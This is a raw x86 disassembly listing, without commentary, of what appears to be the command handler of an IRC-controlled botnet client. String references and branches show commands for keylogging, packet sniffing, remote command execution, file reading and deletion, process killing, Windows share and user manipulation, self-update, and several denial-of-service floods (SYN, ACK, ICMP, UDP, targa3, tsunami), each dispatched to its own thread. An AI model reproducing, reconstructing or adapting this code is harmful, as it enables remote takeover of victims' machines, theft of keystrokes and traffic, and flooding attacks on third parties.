push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
call sub_41BF52
cdq
mov ecx, 514h
idiv ecx
push edx
call dword_428080 ; Sleep
push offset word_42863A
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_4056C5: ; CODE XREF: sub_401AA1+3B06j
; sub_401AA1+3B13j
push edi
push offset aRegister ; "register"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405709
mov eax, [ebp+esi+var_84]
cmp eax, ebx
jz short loc_405709
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41BEF6
lea eax, [ebp+var_2C0]
push eax
call sub_417C86
add esp, 14h
loc_405709: ; CODE XREF: sub_401AA1+3C33j
; sub_401AA1+3C3Ej
push edi
push offset aOff ; "off"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4061AA
mov [ebp+arg_18], offset dword_4D735C
loc_405725: ; CODE XREF: sub_401AA1+3CA8j
mov eax, [ebp+arg_18]
cmp dword ptr [eax-4], 1
jnz short loc_40573B
mov eax, [eax]
cmp eax, ebx
jbe short loc_40573B
push eax
call dword_4CE3A0 ; closesocket
loc_40573B: ; CODE XREF: sub_401AA1+3C8Bj
; sub_401AA1+3C91j
add [ebp+arg_18], 210h
cmp [ebp+arg_18], offset dword_4DDA7C
jl short loc_405725
cmp [ebp+var_8], ebx
jnz loc_4061AA
push ebx
push [ebp+var_4]
push offset unk_42D998
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
jmp loc_4061AA
; ---------------------------------------------------------------------------
loc_405773: ; CODE XREF: sub_401AA1+3164j
push [ebp+arg_8]
push offset aNick_0 ; "nick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409483
push [ebp+arg_8]
push offset aN ; "n"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409483
push [ebp+arg_8]
push offset aJoin ; "join"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409463
push [ebp+arg_8]
push offset aJ ; "j"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409463
push [ebp+arg_8]
push offset aPart_0 ; "part"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40944A
push [ebp+arg_8]
push offset aPt ; "pt"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40944A
push [ebp+arg_8]
push offset aRaw ; "raw"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409413
push [ebp+arg_8]
push offset aR ; "r"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409413
push [ebp+arg_8]
push offset aKillthread ; "killthread"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409363
push [ebp+arg_8]
push offset aK ; "k"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409363
push [ebp+arg_8]
push offset aC_quit ; "c_quit"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4092B8
push [ebp+arg_8]
push offset aC_q ; "c_q"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4092B8
push [ebp+arg_8]
push offset aC_rndnick ; "c_rndnick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40926D
push [ebp+arg_8]
push offset aC_rn ; "c_rn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40926D
push [ebp+arg_8]
push offset aPrefix ; "prefix"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409258
push [ebp+arg_8]
push offset aPr ; "pr"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409258
push [ebp+arg_8]
push offset aOpen ; "open"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40922E
push [ebp+arg_8]
push offset aO ; "o"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40922E
push [ebp+arg_8]
push offset aServer ; "server"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409209
push [ebp+arg_8]
push offset aSe ; "se"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409209
push [ebp+arg_8]
push offset aDns ; "dns"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4091A4
push [ebp+arg_8]
push offset aDn ; "dn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4091A4
push [ebp+arg_8]
push offset aKillproc ; "killproc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409178
push [ebp+arg_8]
push offset aKp ; "kp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409178
push [ebp+arg_8]
push offset aKill ; "kill"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40911D
push [ebp+arg_8]
push offset aKi ; "ki"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40911D
push [ebp+arg_8]
push offset aDelete ; "delete"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4090E6
push [ebp+arg_8]
push offset aDel ; "del"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4090E6
push [ebp+arg_8]
push offset aGet ; "get"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409006
push [ebp+arg_8]
push offset aGt ; "gt"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_409006
push [ebp+arg_8]
push offset aList ; "list"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408FEB
push [ebp+arg_8]
push offset aLi ; "li"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408FEB
push [ebp+arg_8]
push offset aVisit ; "visit"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408F0E
push [ebp+arg_8]
push offset aV ; "v"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408F0E
push [ebp+arg_8]
push offset aMirccmd ; "mirccmd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408E9A
push [ebp+arg_8]
push offset aMirc ; "mirc"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408E9A
push [ebp+arg_8]
push offset aCmd ; "cmd"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408E46
push [ebp+arg_8]
push offset aCm ; "cm"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408E46
push [ebp+arg_8]
push offset aReadfile ; "readfile"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408DC1
push [ebp+arg_8]
push offset aRf ; "rf"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408DC1
push [ebp+arg_8]
push offset aPsniff ; "psniff"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405C57
push edi
push offset aOn ; "on"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405C1F
push 20h
call sub_40B496
test eax, eax
pop ecx
jle short loc_405B4D
push offset dword_42D8A0
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_405B4D: ; CODE XREF: sub_401AA1+40A0j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_F5C], eax
mov eax, [ebp+var_4]
mov [ebp+var_ED4], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_ED0], eax
jnz short loc_405B8F
mov esi, offset aSniff ; "#sniff#"
push offset byte_4404C4
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405B8F
mov esi, [ebp+var_88]
loc_405B8F: ; CODE XREF: sub_401AA1+40D0j
; sub_401AA1+40E6j
push esi
lea eax, [ebp+var_F58]
push 80h
push eax
call sub_41BFF0
lea eax, [ebp+var_2C0]
push offset dword_42D870
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 20h
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_ED8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_F5C]
push ebx
push eax
push offset sub_412DBF
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_ED8]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_405C12
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42D834
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405C0A: ; CODE XREF: sub_401AA1+4177j
push 32h
call dword_428080 ; Sleep
loc_405C12: ; CODE XREF: sub_401AA1+4156j
cmp [ebp+var_ECC], ebx
jz short loc_405C0A
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_405C1F: ; CODE XREF: sub_401AA1+4090j
push edi
push offset aOff ; "off"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_406DEB
push ebx
push 20h
call sub_40B449
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C4D
push eax
push offset dword_42D7F8
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405C4D: ; CODE XREF: sub_401AA1+419Fj
push offset dword_42D7CC
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_405C57: ; CODE XREF: sub_401AA1+407Bj
push [ebp+arg_8]
push offset aSniffer ; "sniffer"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405DA3
push edi
push offset aOn ; "on"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405D6B
push 21h
call sub_40B496
test eax, eax
pop ecx
jle short loc_405C99
push offset unk_42D7A4
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_405C99: ; CODE XREF: sub_401AA1+41ECj
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_E40], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E3C], eax
jnz short loc_405CDB
mov esi, offset aSniff ; "#sniff#"
push offset byte_4404C4
push esi
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405CDB
mov esi, [ebp+var_88]
loc_405CDB: ; CODE XREF: sub_401AA1+421Cj
; sub_401AA1+4232j
push esi
lea eax, [ebp+var_EC4]
push 80h
push eax
call sub_41BFF0
lea eax, [ebp+var_2C0]
push offset unk_42D77C
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 21h
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_E44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC8]
push ebx
push eax
push offset sub_413444
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_E44]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_405D5E
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42D740
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405D56: ; CODE XREF: sub_401AA1+42C3j
push 32h
call dword_428080 ; Sleep
loc_405D5E: ; CODE XREF: sub_401AA1+42A2j
cmp [ebp+var_E38], ebx
jz short loc_405D56
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_405D6B: ; CODE XREF: sub_401AA1+41DCj
push edi
push offset aOff ; "off"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_406DEB
push ebx
push 21h
call sub_40B449
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405D99
push eax
push offset unk_42D708
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405D99: ; CODE XREF: sub_401AA1+42EBj
push offset unk_42D6E0
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_405DA3: ; CODE XREF: sub_401AA1+41C7j
push [ebp+arg_8]
push offset aIdent ; "ident"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_405E76
push edi
push offset aOn ; "on"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405E3E
push 2
call sub_40B496
test eax, eax
pop ecx
lea eax, [ebp+var_2C0]
jle short loc_405DE7
push offset dword_42D698
jmp loc_406DE3
; ---------------------------------------------------------------------------
loc_405DE7: ; CODE XREF: sub_401AA1+433Aj
push offset unk_42D650
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 2
push eax
call sub_40B254
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410EAC
push ebx
push ebx
call dword_428084 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_44125C[esi], eax
jnz loc_406DEB
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42D600
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405E3E: ; CODE XREF: sub_401AA1+4328j
push edi
push offset aOff ; "off"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_406DEB
push ebx
push 2
call sub_40B449
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E6C
push eax
push offset unk_42D5B0
jmp loc_404968
; ---------------------------------------------------------------------------
loc_405E6C: ; CODE XREF: sub_401AA1+43BEj
push offset unk_42D570
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_405E76: ; CODE XREF: sub_401AA1+4313j
push [ebp+arg_8]
push offset aKeyloger ; "keyloger"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408C56
push [ebp+arg_8]
push offset aKeylog ; "keylog"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408C56
push [ebp+arg_8]
push offset aKeystop ; "keystop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408C2D
push [ebp+arg_8]
push offset aKstop ; "kstop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408C2D
push [ebp+arg_8]
push offset aNet ; "net"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_40617C
cmp dword_4CE3D4, ebx
jz short loc_405F03
cmp dword_4CE3FC, ebx
jz short loc_405F03
push offset unk_42D510
jmp loc_406169
; ---------------------------------------------------------------------------
loc_405F03: ; CODE XREF: sub_401AA1+444Ej
; sub_401AA1+4456j
cmp [ebp+var_C], ebx
jz loc_406BC3
mov eax, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_405F2B
push eax
push [ebp+var_C]
call sub_41BF70
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_405F2B: ; CODE XREF: sub_401AA1+447Aj
push edi
push offset aStart ; "start"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405F97
cmp [ebp+arg_18], ebx
jz short loc_405F65
push [ebp+arg_0]
push 3
loc_405F46: ; CODE XREF: sub_401AA1+450Cj
; sub_401AA1+4524j ...
call sub_418D56
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
add esp, 14h
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_405F65: ; CODE XREF: sub_401AA1+449Ej
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418FFD
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_405F8D
push offset unk_42D4E4
jmp loc_40616F
; ---------------------------------------------------------------------------
loc_405F8D: ; CODE XREF: sub_401AA1+44E0j
push offset unk_42D4C4
jmp loc_40616F
; ---------------------------------------------------------------------------
loc_405F97: ; CODE XREF: sub_401AA1+4499j
push edi
push offset aStop ; "stop"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FAF
push [ebp+arg_0]
push 4
jmp short loc_405F46
; ---------------------------------------------------------------------------
loc_405FAF: ; CODE XREF: sub_401AA1+4505j
push edi
push offset aPause ; "pause"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FCA
push [ebp+arg_0]
push 5
jmp loc_405F46
; ---------------------------------------------------------------------------
loc_405FCA: ; CODE XREF: sub_401AA1+451Dj
push edi
push offset aContinue ; "continue"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_405FE5
push [ebp+arg_0]
push 6
jmp loc_405F46
; ---------------------------------------------------------------------------
loc_405FE5: ; CODE XREF: sub_401AA1+4538j
push edi
push offset aDelete ; "delete"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406000
push [ebp+arg_0]
push 1
jmp loc_405F46
; ---------------------------------------------------------------------------
loc_406000: ; CODE XREF: sub_401AA1+4553j
push edi
push offset aShare ; "share"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406083
cmp [ebp+arg_18], ebx
jz short loc_406050
cmp [ebp+var_8FC], bl
jz short loc_406026
push ebx
push [ebp+arg_18]
push 1
jmp short loc_406031
; ---------------------------------------------------------------------------
loc_406026: ; CODE XREF: sub_401AA1+457Bj
push [ebp+esi+var_84]
push [ebp+arg_18]
push ebx
loc_406031: ; CODE XREF: sub_401AA1+4583j
call sub_41913D
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
add esp, 18h
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_406050: ; CODE XREF: sub_401AA1+4573j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419332
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_406079
push offset unk_42D47C
jmp loc_40616F
; ---------------------------------------------------------------------------
loc_406079: ; CODE XREF: sub_401AA1+45CCj
push offset unk_42D45C
jmp loc_40616F
; ---------------------------------------------------------------------------
loc_406083: ; CODE XREF: sub_401AA1+456Ej
push edi
push offset aUser ; "user"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_406119
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_4060EC
push [ebp+var_4]
cmp [ebp+var_8FC], bl
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4060B9
push ebx
push eax
push 1
jmp short loc_4060CD
; ---------------------------------------------------------------------------
loc_4060B9: ; CODE XREF: sub_401AA1+4610j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_4060C9
push esi
push eax
push ebx
jmp short loc_4060CD
; ---------------------------------------------------------------------------
loc_4060C9: ; CODE XREF: sub_401AA1+4621j
push ebx
push eax
push 2
loc_4060CD: ; CODE XREF: sub_401AA1+4616j
; sub_401AA1+4626j
call sub_419453
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
add esp, 24h
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_4060EC: ; CODE XREF: sub_401AA1+45FCj
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_419967
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_406112
push offset unk_42D43C
jmp short loc_40616F
; ---------------------------------------------------------------------------
loc_406112: ; CODE XREF: sub_401AA1+4668j
push offset unk_42D41C
jmp short loc_40616F
; ---------------------------------------------------------------------------
loc_406119: ; CODE XREF: sub_401AA1+45F1j
push edi
push offset aSend ; "send"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_406164
cmp [ebp+arg_18], ebx
jz short loc_40615D
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419C11
push eax
lea eax, [ebp+var_2C0]
push offset aS_2 ; "%s"
push eax
call sub_41BEF6
add esp, 1Ch
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_40615D: ; CODE XREF: sub_401AA1+468Cj
push offset unk_42D3F0
jmp short loc_406169
; ---------------------------------------------------------------------------
loc_406164: ; CODE XREF: sub_401AA1+4687j
push offset unk_42D3D4
loc_406169: ; CODE XREF: sub_401AA1+2E23j
; sub_401AA1+445Dj ...
lea eax, [ebp+var_2C0]
loc_40616F: ; CODE XREF: sub_401AA1+44E7j
; sub_401AA1+44F1j ...
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp loc_406BC3
; ---------------------------------------------------------------------------
loc_40617C: ; CODE XREF: sub_401AA1+4442j
push [ebp+arg_8]
push offset aGethost ; "gethost"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408B4F
push [ebp+arg_8]
push offset aGh ; "gh"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408B4F
loc_4061AA: ; CODE XREF: sub_401AA1+3C77j
; sub_401AA1+3CADj ...
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401F20
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408B32
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408B32
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408AF3
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408AF3
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408A9D
push [ebp+arg_8]
push offset dword_42DB4C
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408A9D
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408A2F
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408A2F
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4089C9
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4089C9
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40898D
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40898D
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408922
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408922
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4088A0
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4088A0
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408832
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408832
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40880C
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40880C
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4087AC
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4087AC
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4086B4
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4086B4
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4085E3
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4085E3
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408514
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408514
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408479
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408479
push [ebp+arg_8]
push offset aStyle ; "style"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4082FF
push [ebp+arg_8]
push offset aUpd4t3z ; "upd4t3z"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_4082FF
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408266
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408266
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40815A
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40815A
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408106
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_408106
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40800C
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_40800C
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401F20
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407F25
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407F25
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407E14
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407E14
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407E14
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4066BC
push 7Fh
lea eax, [ebp+var_3280]
pop esi
push esi
push edi
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3200]
push [ebp+arg_18]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3180]
push [ebp+arg_0]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3100]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3078], eax
push ebx
lea eax, [ebp+var_2C0]
push 13h
push eax
mov [ebp+var_307C], edi
mov [ebp+var_3284], esi
call sub_40B254
add esp, 3Ch
mov [ebp+var_3080], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3284]
push ebx
push eax
push offset sub_415478
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_3080]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4066AF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42D254
jmp loc_403DDD
; ---------------------------------------------------------------------------
loc_4066A7: ; CODE XREF: sub_401AA1+4C14j
push 32h
call dword_428080 ; Sleep
loc_4066AF: ; CODE XREF: sub_401AA1+4BF3j
cmp [ebp+var_3074], ebx
jz short loc_4066A7
jmp loc_403DEC
; ---------------------------------------------------------------------------
loc_4066BC: ; CODE XREF: sub_401AA1+4B49j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407D2D
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz loc_407D2D
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz loc_4067E8
push 7Fh
lea eax, [ebp+var_36A8]
pop esi
push esi
push edi
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3628]
push [ebp+arg_18]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_35A8]
push [ebp+arg_0]
push eax
call sub_41BC60
push esi
lea eax, [ebp+var_3528]
push [ebp+var_88]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_34A4], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_34A0], eax
lea eax, [ebp+var_2C0]
push edi
push offset dword_42D20C
push eax
mov [ebp+var_36AC], esi
call sub_41BEF6
